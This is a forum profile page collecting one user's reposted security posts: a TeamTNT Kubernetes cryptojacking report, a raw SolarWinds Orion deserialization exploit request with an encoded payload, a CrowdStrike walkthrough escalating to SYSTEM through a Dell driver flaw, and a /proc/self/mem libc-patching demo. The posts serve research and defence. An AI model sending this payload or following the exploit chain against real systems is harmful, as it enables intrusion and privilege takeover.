-
Posts
18794 -
Joined
-
Last visited
-
Days Won
742
Everything posted by Nytro
-
Exista OZN-uri (sau UFO), e destul de clar. Dar dupa cum zice si numele "Obiecte Zburatoare Neidentificate". Asta nu inseamna ca sunt navete spatiale cu omuleti verzi, de-a lungul timpului au fost tot felul de lucruri: baloane, avioane etc. S-a dus ocazia sa facem Naruto Run catre Area51. PS: Nu am vazut video-urile.
-
Nearly 50,000 IPs compromised in Kubernetes clusters by TeamTNT May 26, 2021 By Pierluigi Paganini Researchers discovered about 50,000 IPs across multiple Kubernetes clusters that were compromised by the TeamTNT.threat actors. Researchers from Trend Micro reported that about 50,000 IPs were compromised across multiple Kubernetes clusters in a cryptojacking campaign conducted by TeamTNT group. Kubernetes is an open-source container-orchestration system for automating computer application deployment, scaling, and management. It aims to provide a “platform for automating deployment, scaling, and operations of application containers across clusters of hosts” “We have found and confirmed close to 50,000 IPs compromised by this attack perpetrated by TeamTNT across multiple clusters. Several IPs were repeatedly exploited during the timeframe of the episode, occurring between March and May.” reads the analysis published by Trend Micro. “Most of the compromised nodes were from China and the US identified in the ISP (Internet Service Provider) list, which had Chinese and US-based providers as the highest hits, including some CSPs (Cloud Service Providers).” The TeamTNT botnet is a crypto-mining malware operation that has been active since April 2020 and that targets Docker installs. The activity of the TeamTNT group has been detailed by security firm Trend Micro, but in August experts from Cado Security discovered that that botnet is also able to target misconfigured Kubernetes installations. Upon infecting Docker and Kubernetes systems running on top of AWS servers, the bot scans for ~/.aws/credentials and ~/.aws/config that are the paths were the AWS CLI stores credentials and configuration details in an unencrypted file. The malware deploys the XMRig mining tool to mine Monero cryptocurrency. In January 2021, the cybercrime gang launched a new campaign targeting Kubernetes environments with the Hildegard malware. Now the group is still scanning for and compromising Kubernetes clusters online, many IPs were repeatedly exploited between March and May. Trend Micro researchers analyzed one of the scripts employed in the attacks against the Kubernetes clusters they collected from a server (kube[.]lateral[.]sh) used by the TeamTNT group. The script had a low detection rate in VirusTotal, that attack chain begins with the attempt to disable the bash history on the target host and define environment variables for its command-and-control server, including the script to install the crypto miner later and the binary of the XMRig Monero miner. The TeamTNT group also uses the script to install two free, open-source tools, the network scanning tool masscan and the deprecated banner-grabbing Zgrab. The group also installs an Internet Relay Chat bot written in C that is stored on the /tmp folder under the name kube.c, in the attempt to avoid suspicion. “In the last part of the script, we can see a function — kube_pwn() — being declared, just like in the image shown below. As seen from the code, the kube_pwn function uses Masscan to check any hosts with port 10250 open.” reads the analysis published by Trend Micro. The threat actors use the Masscan scanner to scan the internal network of the targeted Kubernetes cluster for unsecured or misconfigured Kubelet agents. The kubelet API port (10250) should not be exposed online but TeamTNT is compromising the kubelet after gaining access to the environment. “As we can see from the kubelet server.go code above, the API endpoint /runningpods does exactly what the endpoint says, it lists the running pods. First, the kube_pwn() function lists all the current running pods inside the node in a JSON format.” reads the analysis published by the experts. “Then, for each container running on each node, it takes advantage of the /run endpoint on the kubelet API to run the following commands: 1. Updates the package index of the container. 2. Installs the following packages: bash, wget and curl. 3. Downloads a shell script called setup_xmr.sh from the TeamTNT C&C server and saves it on the tmp folder. 4. Executes the script to start mining for the Monero cryptocurrency. The report also includes instructions to secure the Kube API Server. Follow me on Twitter: @securityaffairs and Facebook Pierluigi Paganini (SecurityAffairs – hacking, PLA Unit 61419) Sursa: https://securityaffairs.co/wordpress/118306/digital-id/kubernetes-clusters-teamtnt.html
-
A quick introduction to how binary integers work, what an integer overflow is, and how they can lead to software vulnerabilities.
-
POST /api/Action/TestAction HTTP/1.1 Host: <target> Content-Length: 3978 Accept: application/json, text/javascript, */*; q=0.01 X-XSRF-TOKEN: <token> X-Requested-With: XMLHttpRequest ViewLimitationID: 0 User-Agent: Mozilla/5.0 Content-Type: application/json; charset=UTF-8 Cookie: <cookie> Connection: close { "EnvironmentType": "Alerting", "ActionDefinition": { "$type": "SolarWinds.Orion.Core.Models.Actions.ActionDefinition, SolarWinds.Orion.Actions.Models", "ID": 124, "ActionTypeID": "Email", "Title": "Send alert email when path to google was changed", "Description": "Send alert email when path to google was changed", "Enabled": true, "Order": 1, "IconPath": null, "IsShared": false, "ActionProperties": [ { "$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models", "PropertyName": "EmailBCC", "PropertyValue": "${DefaultEmailBCC}", "IsShared": false } ], "TimePeriods": [], "TransitiveID": null }, "ActionContext": { "$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models", "ExecutionMode": 0, "EnviromentType": 0, "EntityType": "Orion.NetPath.ServiceAssignments", "EntityUri": "swis://EX-MB02./Orion/Orion.NetPath.ServiceAssignments/ProbeID=1,EndpointServiceID=1", "EntityUris": null, "IsGlobalAlert": false, "AlertContext": { "$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models", "AlertName": "Path to Google", "CreatedBy": null }, "AlertActiveId": null, "AlertObjectId": null, "NetObjectData": null, "ObjectDataExists": false, "MacroContext": { "$type": "SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1", "contexts": [ { "$type": "SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1", "EntityProperties": { "$type": "SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2", "a": { "$type": "System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "SessionToken": { "$type": "System.Byte[], mscorlib", "$value": "QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6ayARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdHdVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUdOaGJHTXVaWGhsSWlCVGRHRnVaR0Z5WkVWeWNtOXlSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJUZEdGdVpHRnlaRTkxZEhCMWRFVnVZMjlrYVc1blBTSjdlRHBPZFd4c2ZTSWdWWE5sY2s1aGJXVTlJaUlnVUdGemMzZHZjbVE5SW50NE9rNTFiR3g5SWlCRWIyMWhhVzQ5SWlJZ1RHOWhaRlZ6WlhKUWNtOW1hV3hsUFNKR1lXeHpaU0lnUm1sc1pVNWhiV1U5SW1OdFpDSWdMejROQ2lBZ0lDQWdJRHd2YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnUEM5elpEcFFjbTlqWlhOelBnMEtJQ0E4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1UFltcGxZM1JKYm5OMFlXNWpaVDROQ2p3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeVBncz0BAQEBAQ==" } } } } ] } } } Sursa: https://gist.github.com/testanull/dcb536b409a28d74430a441d53b14456
-
Know Your Enemy: Exploiting the Dell BIOS Driver Vulnerability to Defend Against It May 26, 2021 Connor McGarr Engineering & Tech There is a quote from Sun Tzu, “The Art of War,” that remains true to this day, especially in cybersecurity: “Know thy enemy and know yourself; in a hundred battles, you will never be defeated.” At CrowdStrike, we stop breaches — and understanding the tactics and techniques adversaries use helps us protect our clients from known and unknown threats. It allows us to pre-mitigate threats before they happen and react quickly to new and previously unknown attacks and attack vectors. Looking at the recently published vulnerability in Dell’s firmware update driver (CVE-2021-21551) reported by CrowdStrike’s Yarden Shafir and Satoshi Tanda, it’s worth understanding that adversaries have more than one way of weaponizing it to achieve the same result: obtaining full control of the victim’s machine. For example, while CVE-2021-21551 can be exploited to overwrite a process’s token and directly elevate its privileges, this is a relatively well-known technique that most endpoint detection and response (EDR) tools should detect. The technique we’re exploring in this research is already at the end of its lifecycle, with the inception of Windows features such as Virtualization-Based Security. However, it speaks to the fact that adversaries will constantly try to go a different path and use a more complex or different technique to achieve a full administrative access over a system, avoiding the most common EDR detections and preventions, as well as operating systems mitigations not available or enabled in some OS versions. To protect against adversaries that could exploit this vulnerability, we have to dive into the mindset of an attacker to understand how they would craft and exploit this vulnerable driver to take control of a vulnerable machine. While a patch for this vulnerability has been released, patch management cycles in enterprises can take months before all systems are updated. The goal of this post is to understand how adversaries think when weaponizing vulnerabilities, what technologies may work best in mitigating some of these tactics, and how CrowdStrike Falcon® protects against these attacks, leveraging the type of research embodied in this blog post. Exploitation Is a Never-ending Arms Race OS vendors patch vulnerable systems, and EDR vendors add detections and security mitigations as fast as possible. Meanwhile, attackers continuously find new bugs, vulnerabilities and novel exploitation techniques to take over targeted systems.Tactically mitigating the latest known driver is excellent, but that wins the battle, not the war. Adversaries can create exploits for vulnerabilities using several different methods, giving them a wide range of options for crafting payloads exploiting patched or unpatched vulnerabilities to compromise endpoints, take full control over them and ultimately breach enterprise security. A vulnerability presents a possibility, but there is still a long way to go for an attacker to turn it into a functional weapon. And every new security mitigation and hardening becomes another hurdle that the attacker needs to overcome, leading to increasingly complicated, multi-stage exploits. However, some things make exploitation slightly easier for attackers. Third-party drivers running on the machine, especially hardware drivers built to have direct access to all areas of the machine, may not always have a very high level of security awareness in their development process. Similar vulnerabilities were disclosed and used in the wild in recent years, and every few months a new vulnerable driver is discovered and published, making headlines. Building an Exploit for CVE-2021-21551 The quick synopsis of this vulnerability is that an IOCTL code exists that allows any user to write arbitrary data into an arbitrary address in kernel-mode memory. Any caller can trigger this IOCTL code by invoking DeviceIoControl to send a request to dbutil_2_3.sys while specifying the IOCTL code 0x9B0C1EC8 with a user-supplied buffer, allowing for an arbitrary write primitive. Additionally, specifying an IOCTL code of 0x9B0C1EC4 allows for an arbitrary read primitive. To allow user-mode callers to interact with kernel-mode drivers, drivers create device objects. We can see the creation and initialization of this device object in the driver’s entry point, named DriverEntry. This is just the “official” entry point, which immediately calls the “actual” driver entry: As shown, the \Device\DBUtil_2_3 string is used in the call to IoCreateDevice to create a DEVICE_OBJECT. This string is then used in a call to IoCreateSymbolicLink, which creates a symbolic link that is exposed to user-mode clients. In this case, the symbolic link is \\.\DBUtil_2_3. After identifying the symbolic link, CreateFile can be used to obtain a handle to dbutil_2_3.sys. DeviceIoControl can then be used to interact with the driver. The first step is to identify where the IOCTL routines are handled in the driver. We can discover that through the DriverEntry functions as well — handlers for all I/O operations are registered in the driver’s DRIVER_OBJECT, in the MajorFunction field. This is an array of IRP_MJ_XXX codes, each matching one I/O operation. Looking at this, we can see that this driver uses one function for all of its operations, and when we open the function, we can easily tell that it is mostly dedicated to handling IOCTL operations (named IRP_MJ_DEVICE_CONTROL in the driver object). The MajorFunction code is tested, and if it isn’t IRP_MJ_DEVICE_CONTROL , it is handled separately at the end of the function: The vulnerable IOCTL code in this case is 0x9B0C1EC8, for the write primitive. If this check is passed successfully, the handler will call the vulnerable function, which we chose to call ArbitraryWriteFunction for convenience: This is the function in which the vulnerable code resides in, which contains a call to memmove, whose arguments can be fully controlled by the caller: memmove copies a block of memory into another block of memory via pointers. If we can control the arguments to memmove, this gives us a vanilla arbitrary write primitive, as we will be able to overwrite any pointer in kernel mode with our own user-supplied buffer. Armed with the understanding of the write primitive, the last thing needed is to make sure that from the time the IOCTL code is checked and the final memmove call is invoked that any conditional statements that arise are successfully dealt with. This can be tested by sending an arbitrary QWORD to kernel mode to perform dynamic analysis. Setting a breakpoint on the routine that checks the IOCTL code and after running the POC, execution hits the target IOCTL routine. After the comparison is satisfied, execution hits the call to the function housing the call to memmove, prior to the stack frame for this function being created. The test buffer is also accessible when dereferencing the value in RCX. After stepping through the sub rsp, 0x40 stack allocation and the mov rbx, rcx instruction, the value 0x8 is then placed into ECX and used in the cmp ecx, 0x18 comparison. ECX, after the mov instruction, actually contains the size of the buffer, which is currently one QWORD, or 8 bytes. This compare statement will fail and an NTSTATUS code is returned back to the client of 0xC0000000D (STATUS_INVALID_PARAMETER). This means clients need to send at least 0x18 bytes worth of data to continue. The next step is to try and send a contiguous buffer of 0x18 bytes of data, or greater. A 0x20 byte buffer is ideal. This is because when the buffers are propagated before the memmove call, the driver will index the buffer at an offset of 0x8 (the destination) and 0x18 (the source) for the arguments. We will use KUSER_SHARED_DATA, at an offset of 0x800 (0xFFFFF78000000800) in ntoskrnl.exe, which contains a writable code cave, as a proof-of-concept (POC) address to showcase the write primitive. Re-executing the POC, and after stepping through the function that leads to the eventual call to memmove, the lower 32-bits of the third element of the array of QWORDs sent to the driver are loaded into ECX. RSP+0x28 will then be added to RCX, which is a stack address that contains the address of KUSER_SHARED_DATA+0x800. The final result of the operation is 0xFFFFF78042424242. Just before the call to memmove, the fourth element of the test array is placed into RDX. Per the __fastcall calling convention, the value in RCX will serve as the destination address (the “where”) and RDX will serve as the source address (the “what”), allowing for a classic write-what-where condition. These are the two arguments that will be used in the call to memmove, which is located at dbutil_2_3+0x1790. The issue is, however, with the source address. The target specified was 0xFFFFF78000000800 but the address got mangled into 0xFFFFF78042424242. This is because of the addition of the lower 32-bits of the third element of the array to the second element of the array, which was the destination address. Swapping 0x4242424242424242 with 0x0000000000000000 allows clients to satisfy this issue by having a value of zero added to the target address, rendering it unmangled. After sending the POC again, the correct arguments are supplied to the memmove call. Executing the call, the arbitrary write primitive has succeeded. With a successful write primitive in hand, the next step is to obtain a read primitive for successful exploitation. Arbitrary Read Primitive Supplying arguments to the vulnerable memmove routine used for the arbitrary write primitive, an adversary can supply the “what” (the data) and the “where” (the memory address) in the write-what-where condition. It is worth noting that at some point between the memmove call and the invocation of DeviceIoControl, the array of QWORDs used for the write primitive were transferred to kernel mode to be used by dbutil_2_3.sys in the call to memmove. Notice, however, that the target address, the value in RCX, is completely controllable – meaning the driver doesn’t create a pointer to that QWORD, it can be supplied directly. Since memmove will interpret the target address as a pointer, we can actually overwrite whatever we pass as the target buffer in RCX, which in this case is any address we want to corrupt. To read memory, however, there needs to be a similar primitive. In place of the kernel mode address that points to 0x4343434343434343 in RDX, we need supply our own value directly, instead of the driver creating a pointer to it, identical to the level of control we have on the target address we want write over. This is what occurred with the write primitive: Ffffc60524e82998 4343434343434343 This is what needs to occur with the read primitive: 4343434343434343 DATA If this happens, memmove will interpret this address as a pointer and it will be dereferenced. In this case, whatever value supplied would first be dereferenced and then the contents copied to the target buffer, allowing us to arbitrarily read kernel-mode pointers. One option would be to write this data into a declared user-mode pointer in C. Since the driver is taking the supplied buffer and propagating it in kernel mode before leveraging it, the better option would be to supply an output buffer to DeviceIoControl and see if the memmove data writes the read value to the output buffer. The latter option makes sense as this IOCTL allows any client to supply a buffer and have it copied. This driver isn’t compensating for unauthorized clients to this IOCTL, meaning the input and output buffers are more than likely being used by other components and legitimate clients that need an easy way to read and write data. This means there more than likely will be another way to invoke the memmove routine that allows clients to do the inverse of what occurred with the write primitive, and to read memory instead. KUSER_SHARED_DATA, 0xFFFFF78000000000 will be used as a proof-of-concept. After a bit more reverse engineering, it is clear there is more than one way to reach the memmove routine. This is through the IOCTL 0x9B0C1EC4. To read memory arbitrarily, everything can be set to 0 or “filler” data, in the array of QWORDs previously used for the write primitive, except the target address to read from. The target address will be the second element of the array. Then, reusing the same array of QWORDs as an output buffer, we can then loop through the array to see if any elements are filled with the read contents from kernel mode. After running the updated proof of concept, execution again reaches the function housing the memmove routine, dbutil_2_3+0x5294. KUSER_SHARED_DATA is then moved into RCX and then finally loaded into RDX. Per the __fastcall calling convention, KUSER_SHARED_DATA, our target address to read from, will be used as the second argument for the call to memmove. Since memmove accepts two pointers to a memory address, this means that this address in RCX will be where the buffer is written to and the address in RDX, which is a controlled value to be read from, will be dereferenced first and then its contents copied to the address currently in RCX, which will be returned in the output buffer parameter of DeviceIoControl. After the call to memmove, the return value is set to the dereferenced contents of KUSER_SHARED_DATA. This results in a successful read primitive! With a read/write primitive in hand, exploitation can be achieved in multiple fashions. We will take a look at a method that involves hijacking the control flow of the driver’s execution and corrupting page table entries to achieve code execution. Exploitation The goal for exploitation is as follows: Locate the base of the page table entries Calculate where the page table entry for the memory page where the shellcode resides and extract the PTE memory property bits Write shellcode, which will copy the TOKEN member from the SYSTEM EPROCESS object to the exploit process, somewhere that is writable in the driver’s virtual address space Corrupt the page table entry to make the shellcode page RWX and bypassing kernel no-eXecute (DEP) Overwrite [nt!HalDispatchTable+0x8] and invoke ntdll!NtQueryIntervalProfile, which will execute [nt!HalDispatchTable+0x8] Immediately restore [nt!HalDispatchTable+0x8] in an attempt to avoid Kernel Patch Protection, or KPP, which monitors the integrity of dispatch tables at certain intervals. 1. Locate the base of the page table entries Looking for a writable code cave in kernel mode that can be reliably written to, the .data section of dbutil_2_3.sys, which is already writable, presents a viable option. The aforementioned shellcode is approximately 9 QWORDs, so this is a viable code cave in terms of size. The shellcode will be written starting at .data+0x10. Since this has been decided and since this address space resides within the driver’s virtual address space, it is trivial to add a routine to the exploit that can retrieve the load address of the kernel, for page table entry (PTE) indexing calculations, and the base address of dbutil_2_3.sys, from a medium integrity process. Since the location the shellcode will be to written to is at an offset of 0x3000 (the offset to .data) + 0x10 (the offset to code cave) from the base address of dbutil_2_3.sys, we can locate the page table entry for this memory address, which already is a kernel-mode page and is writable. In order to perform the calculations to locate the page table entry we first need to bypass page table randomization, a mitigation of Windows 10 after 1607. This is because we need the base of the page table entries in order to locate the PTE for a specific page in memory (the page table entries are an array of virtual addresses for our purposes). The Windows API function nt!MiGetPteAddress, at an offset of 0x13, contains, dynamically, the base of the page table entries as this kernel-mode function is leveraged to fetch the PTE of a given page. The read primitive can be used to locate the base of the page table entries (note the offset to nt!MiGetPteAddress will change on a per-patch basis). 2. Calculate where the page table entry for the memory page where the shellcode resides and extract the PTE memory property bits Then, it’s possible to replicate what nt!MiGetPteAddress does in order to fetch the correct PTE from the PTE array for the page the shellcode resides in, programmatically. This can also be verified in WinDbg. We can then use the read primitive again in order to preserve what the PTE address points to, which is a set of bits which set properties and permissions of the page. These will be corrupted later. This can also be verified in WinDbg. 3. Write shellcode, which will copy the TOKEN value from the SYSTEM EPROCESS object to the exploit process, somewhere that is writable in the driver’s virtual address space The next step is to write the shellcode to .data+0x10 (dbutil_2_3+0x3010). This can be done by writing the following nine QWORDs to kernel mode using the write primitive. After leveraging the arbitrary write primitive, the shellcode is written to the .data section of dbutil_2_3.sys. The above shellcode will programmatically perform a call to nt!PsGetCurrentProcess to locate the current process’ EPROCESS object, which would be the exploiting process. The shellcode then accesses the ActiveProcessLinks member of the EPROCESS object in order to walk the doubly-linked list of active EPROCESS objects until the EPROCESS object for the SYSTEM process, which has a static PID of 4, is identified. When this is found, the shellcode will then copy the TOKEN member of the SYSTEM process’ EPROCESS object over the current unprivileged token of the exploiting process, essentially granting the process triggering the exploit and any subsequent processes launched from the exploit process full kernel-mode privileges, allowing for full administrative access to the OS. 4. Corrupt the page table entry to make the shellcode page RWX and bypassing kernel no-eXecute (DEP) Now that the shellcode is in kernel mode, we need to make it executable, since the .data section is read/write only. Since we have the PTE bits already stored, we can clear the no-eXecute bit and leverage the arbitrary write primitive to overwrite the current PTE and corrupt it to make the page read/write/execute (RWX). 5. Overwrite [nt!HalDispatchTable+0x8] and invoke ntdll!NtQueryIntervalProfile, which will execute [nt!HalDispatchTable+0x8] The shellcode now resides in a kernel-mode page which is RWX. The last step is to trigger a call to this address. One option is to potentially identify a function pointer within the driver itself, as it does not contain any control-flow checking. However, we can also use a very well documented “system wide” method to trigger the shellcode’s execution, which would be to overwrite [nt!HalDispatchTable+0x8] and call ntdll!NtQueryIntervalProfile. This function call would eventually trigger a call to [nt!HalDispatchTable+0x8], executing our shellcode. Before overwriting [nt!HalDispatchTable+0x8], it is best practice to use the read primitive to preserve the current pointer so we can restore it back after executing our shellcode to ensure system stability, as the Hardware Abstraction Layer is very important on Windows and the dispatch table is referenced regularly. Additionally, Kernel Patch Protection performs checks on dispatch tables, meaning we will want to try to restore everything as quickly as possible. After preserving [nt!HalDispatchTable+0x8] the write primitive can be used to overwrite [nt!HalDispatchTable+0x8] with a pointer to our shellcode, which resides in kernel mode memory. At this point, if we invoke [nt!HalDispatchTable+0x8], we will be calling our shellcode! The last step here, besides restoring [nt!HalDispatchTable+0x8], is to resolve ntdll!NtQueryIntervalProfile, which eventually performs a call to [nt!HalDispatchTable+0x8]. 6. Immediately restore [nt!HalDispatchTable+0x8] in an attempt to avoid Kernel Patch Protection, or KPP, which monitors the integrity of dispatch tables at certain intervals. The exploit is then finished by adding in a routine to restore [nt!HalDispatchTable+0x8]. Stepping through a few instructions inside of nt!KeQueryIntervalProfile, after the call to ntdll!NtQueryIntervalProfile, we can see that we are not directly calling [nt!HalDispatchTable+0x8], but we are calling nt!guard_dispatch_icall. This is part of KCFG, or Kernel Control-Flow Guard, which validates indirect function calls (e.g. calling a function pointer). Clearly, as we can see, the value of [nt!HalDispatchTable+0x8] is pointing to the shellcode, meaning that KCFG should block this activity. The reason why KCFG will not block this attempt at an invalid call target is because KCFG is only enforced when Hyper-V is enabled on the machine and Virtualization-Based Security is active, which isn’t the case on the machine we are testing this exploit on. The reason why VBS is needed to enforce KCFG is because if the KCFG bitmap was allocated in the kernel, one more arbitrary write(s) would allow an adversary to make a shellcode page a “valid” target as well, completely bypassing the mitigation. Since VBS is not enabled we can actually see that all this routine does essentially is bitwise test the target address to confirm it isn’t a user-mode address. If it is a user-mode address, this results in a bug check and system crash. After passing the bitwise test, control-flow transfer is handed off to the shellcode. From here, we can see we have successfully obtained NT AUTHORITY\SYSTEM privileges. CrowdStrike Protection Falcon can detect and prevent kernel attacks, offering visibility into some of the most commonly and uncommonly used IOCTLs abused in the real world through Additional User-Mode Data (AUMD). This gives Falcon the ability to protect endpoints from the exploitation of vulnerable drivers and from adversaries attempting to exploit this particular Dell driver (CVE-2021-21551) vulnerability using the technique described in this post. Falcon protects customers from exploitation attempts like the one described in this research in several ways. One is to block drivers from loading if declared malicious. Another is to detect certain communication mechanisms to specific drivers, allowing the vulnerable driver to run but detecting if attackers communicate with said drivers and exploit these vulnerabilities, such as the exploit mentioned in this blog post. Recommendations Adversarial tactics and techniques are becoming increasingly sophisticated, and organizations need to rely on security solutions that can protect them when it matters, that offer visibility into their infrastructure and have proven capabilities of disrupting sophisticated adversaries and adversarial tactics. It’s also essential to adhere to security hygiene and best practices stretching from patch management to security policies and procedures to reduce risk. This exercise of exploiting the Dell vulnerability proves that adversaries have different exploitation tactics at their disposal for exploiting vulnerabilities, whether they are patched or unpatched, meaning that there is usually more than one way to take advantage of a vulnerability. Updating operating systems to the newest version and enabling Hyper-V, VBS and HVCI will help to mitigate the demonstrated attack technique. A timely and effective patch management strategy is also recommended for identifying and deploying software, firmware and hardware driver updates that fix known security vulnerabilities or technical issues, and for prioritizing patching efforts based on the severity of the vulnerability. Driver inventorying throughout the organization can also help identify whenever suspicious processes attempt to communicate with them, determine whether the path they’re running from is legitimate, or even identify suspicious interaction between them. While malicious interaction can be hard to attribute with high confidence, defenders need to constantly be vigilant for suspicious-looking telemetry events indicative of adversary activity. Conclusion CrowdStrike is constantly aware of adversary thought processes and can detect and mitigate attack tactics demonstrated here and in our previous blog post about this driver vulnerability. This interesting exploitation technique exercise demonstrates how a skilled attacker can leverage a vulnerability and gain full control over a machine in various ways. Organizations need to run the latest builds for software, firmware and hardware drivers and enable the necessary security features to close the window of opportunity for adversaries attempting to exploit similar vulnerabilities. OS developers and hardware developers are constantly adding new security features to mitigate these attacks. Enabling VBS, KCFG, CET and other technologies is critical for blocking similar attack vectors and preventing adversaries from successfully exploiting and compromising enterprise machines. Exploits taking advantage of legitimate yet vulnerable drivers may be difficult to detect, but not for CrowdStrike. Our threat intelligence and Falcon OverWatch™ teams monitor all events reported by the Falcon sensor to quickly identify suspicious behavior and react to it, keeping our customers safe from breaches. Sursa: https://www.crowdstrike.com/blog/cve-2021-21551-learning-through-exploitation/
-
Linux Internals: How /proc/self/mem writes to unwritable memory Introduction An obscure quirk of the /proc/*/mem pseudofile is its “punch through” semantics. Writes performed through this file will succeed even if the destination virtual memory is marked unwritable. In fact, this behavior is intentional and actively used by projects such as the Julia JIT compiler and rr debugger. This behavior raises some questions: Is privileged code subject to virtual memory permissions? In general, to what degree can the hardware inhibit kernel memory access? By exploring these questions1, this article will shed light on the nuanced relationship between an operating system and the hardware it runs on. We’ll examine the constraints the CPU can impose on the kernel, and how the kernel can bypass these constraints. Patching libc with /proc/self/mem So what do these punch-through semantics look like? Consider this code: #include <fstream> #include <iostream> #include <sys/mman.h> /* Write @len bytes at @ptr to @addr in this address space using * /proc/self/mem. */ void memwrite(void *addr, char *ptr, size_t len) { std::ofstream ff("/proc/self/mem"); ff.seekp(reinterpret_cast<size_t>(addr)); ff.write(ptr, len); ff.flush(); } int main(int argc, char **argv) { // Map an unwritable page. (read-only) auto mymap = (int *)mmap(NULL, 0x9000, PROT_READ, // <<<<<<<<<<<<<<<<<<<<< READ ONLY <<<<<<<< MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mymap == MAP_FAILED) { std::cout << "FAILED\n"; return 1; } std::cout << "Allocated PROT_READ only memory: " << mymap << "\n"; getchar(); // Try to write to the unwritable page. memwrite(mymap, "\x40\x41\x41\x41", 4); std::cout << "did mymap[0] = 0x41414140 via proc self mem.."; getchar(); std::cout << "mymap[0] = 0x" << std::hex << mymap[0] << "\n"; getchar(); // Try to writ to the text segment (executable code) of libc. auto getchar_ptr = (char *)getchar; memwrite(getchar_ptr, "\xcc", 1); // Run the libc function whose code we modified. If the write worked, // we will get a SIGTRAP when the 0xcc executes. getchar(); } This uses /proc/self/mem to write to two unwritable memory pages. The first is a read-only page that the code itself maps. The second is a code page belonging to libc itself (the getchar function). The latter is the more interesting test — it writes a 0xcc byte (the x86-64 software breakpoint instruction) which will cause the kernel to deliver a SIGTRAP to our process if executed. This is literally changing the executable code of libc. So the next time we call getchar, if we get a SIGTRAP, we know that the write has succeeded. Here’s what it looks like when I run the program: It worked! The middle print statements prove that the value 0x41414140 was successfully written and read from memory. The last print shows that a SIGTRAP was delivered to our process when we called getchar after patching it. Here’s a video demo: Now that we’ve seen how this feature works from the perspective of userspace, let’s dive a bit deeper. To fully understand how this works, we must look at how the hardware enforces memory permissions. To the hardware On x86-64, there are two CPU settings which control the kernel’s ability to access memory. They are enforced by the memory management unit (MMU). The first setting is the Write Protect bit (CR0.WP). From Volume 3, Section 2.5 of the Intel manual: Write Protect (bit 16 of CR0) — When set, inhibits supervisor-level procedures from writing into read- only pages; when clear, allows supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting; see Section 4.1.3 and Section 4.6). This inhibits the kernel’s ability to write to read-only pages, which is notably allowed by default. The second setting is Supervisor Mode Access Prevention (SMAP) (CR4.SMAP). Its full description in Volume 3, Section 4.6 is verbose, but the executive summary is that SMAP disables the kernel’s ability to read or write userspace memory entirely. This hinders security exploits which populate userspace with malicious data to be read by the kernel during exploitation. If the kernel code in question only uses approved channels for accessing userspace (copy_to_user, etc) SMAP can be safely ignored — these functions automatically toggle SMAP before and after accessing memory. But what about Write Protect? With CR0.WP clear, the kernel implementation of /proc/*/mem will indeed be able to unceremoniously write to unwritable userspace memory. However, CR0.WP is enabled at boot, and generally remains set for the life of a system. In this case, a page fault will be triggered in response to the write. As more of 